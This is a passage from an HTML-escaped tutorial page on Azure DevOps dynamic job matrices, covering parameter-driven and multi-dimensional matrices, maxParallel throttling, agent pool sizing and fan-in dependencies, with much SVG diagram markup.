style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='132' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='148' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='164' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='148' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='164' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='148' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='148' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='4' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"21-transforming-a-parameter-into-a-matrix\"\u003e2.1: Transforming a Parameter into a Matrix\u003c/h3\u003e\n\u003cp\u003eConsider a parameter named \u003ccode\u003ebrowsers\u003c/code\u003e. You can transform it into a matrix like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ae81ff\"\u003e${{ each browser in parameters.browsers }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ browser }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ebrowserName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ browser }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDuring expansion, if \u003ccode\u003ebrowsers\u003c/code\u003e is \u003ccode\u003e['Chrome', 'Edge']\u003c/code\u003e, the engine generates two entries: \u003ccode\u003eChrome\u003c/code\u003e and \u003ccode\u003eEdge\u003c/code\u003e. Each instance of the job will then have a local variable \u003ccode\u003e$(browserName)\u003c/code\u003e available to its tasks.\u003c/p\u003e\n\u003ch3 id=\"22-multi-dimensional-dynamic-matrices\"\u003e2.2: Multi-Dimensional Dynamic Matrices\u003c/h3\u003e\n\u003cp\u003eFor complex scenarios like \u0026ldquo;Browser x OS,\u0026rdquo; you can nest loops within the matrix block.\u003c/p\u003e\n\u003ch4 id=\"multi-dimensional-matrix-cartesian-product\"\u003eMulti-Dimensional Matrix (Cartesian Product)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 720 121\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 184,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,16 L 432,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,16 L 704,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,80 L 184,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,80 L 432,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,96 L 704,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,16 L 184,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,16 L 264,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,16 L 432,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,16 L 512,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 704,16 L 704,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='52' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='52' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='36' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='68' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='84' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='36' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='52' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='36' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='52' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='68' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='84' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='52' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='68' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='84' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='68' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='84' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='52' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='52' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='84' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e${{ each os in parameters.osList }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ae81ff\"\u003e${{ each browser in parameters.browsers }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e${{ format(\u0026#39;{0}_{1}\u0026#39;, os, browser) }}:\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Ensure unique, valid keys\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eosName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ os }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ebrowserName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ browser }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003ePro Tip:\u003c/strong\u003e Use the \u003ccode\u003eformat()\u003c/code\u003e function to ensure matrix keys are unique and contain only valid characters (A-Z, 0-9, and underscores). Azure DevOps strictly prohibits hyphens and spaces in matrix identifiers.\u003c/p\u003e\n\u003ch2 id=\"3-managing-parallelism-at-scale\"\u003e3. Managing Parallelism at Scale\u003c/h2\u003e\n\u003cp\u003eGenerating 100 jobs is easy; running them without crashing your infrastructure is the challenge.\u003c/p\u003e\n\u003ch3 id=\"31-the-maxparallel-property\"\u003e3.1: The \u003ccode\u003emaxParallel\u003c/code\u003e Property\u003c/h3\u003e\n\u003cp\u003eIf your tests hit a shared resource, such as a staging database or a limited Selenium Grid, you must throttle execution. Use the \u003ccode\u003emaxParallel\u003c/code\u003e property to limit concurrency. Even if your matrix generates 50 jobs, setting \u003ccode\u003emaxParallel: 5\u003c/code\u003e ensures that only 5 run at any given time, preventing resource exhaustion.\u003c/p\u003e\n\u003ch3 id=\"32-sizing-your-agent-pools\"\u003e3.2: Sizing Your Agent Pools\u003c/h3\u003e\n\u003cp\u003eRemember the formula: \u003ccode\u003eActual Concurrency = min(maxParallel, Available Parallel Jobs)\u003c/code\u003e. If your organization only has 10 parallel job licenses, a matrix of 100 legs will queue 90 of them. Monitor your \u0026ldquo;Job acquisition\u0026rdquo; time to detect if your dynamic matrices are being \u0026ldquo;starved\u0026rdquo; of agents.\u003c/p\u003e\n\u003ch2 id=\"4-result-aggregation-and-dependencies\"\u003e4. Result Aggregation and Dependencies\u003c/h2\u003e\n\u003cp\u003eMatrix jobs follow a special naming convention for their outputs: \u003ccode\u003eJobName_MatrixKey\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"41-collecting-matrix-outputs\"\u003e4.1: Collecting Matrix Outputs\u003c/h3\u003e\n\u003cp\u003eTo wait for an entire matrix to finish, use \u003ccode\u003edependsOn: JobName\u003c/code\u003e (without the matrix key) in your subsequent job. This creates a \u0026ldquo;Fan-In\u0026rdquo; pattern. However, if you need to read a specific variable from every leg of the matrix, you must use a \u0026ldquo;Collector Job\u0026rdquo; that iterates through the \u003ccode\u003edependencies\u003c/code\u003e JSON object.\u003c/p\u003e\n\u003ch4 id=\"matrix-dependencies-fan-out--fan-in\"\u003eMatrix Dependencies (Fan-Out / Fan-In)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 712 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 328,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,144 L 584,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,144 L 336,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,16 L 592,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,200 L 592,216' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='336.000000,48.000000 324.000000,42.400002 324.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='592.000000,144.000000 580.000000,138.399994 580.000000,149.600006' fill='currentColor' transform='rotate(0.000000, 584.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext 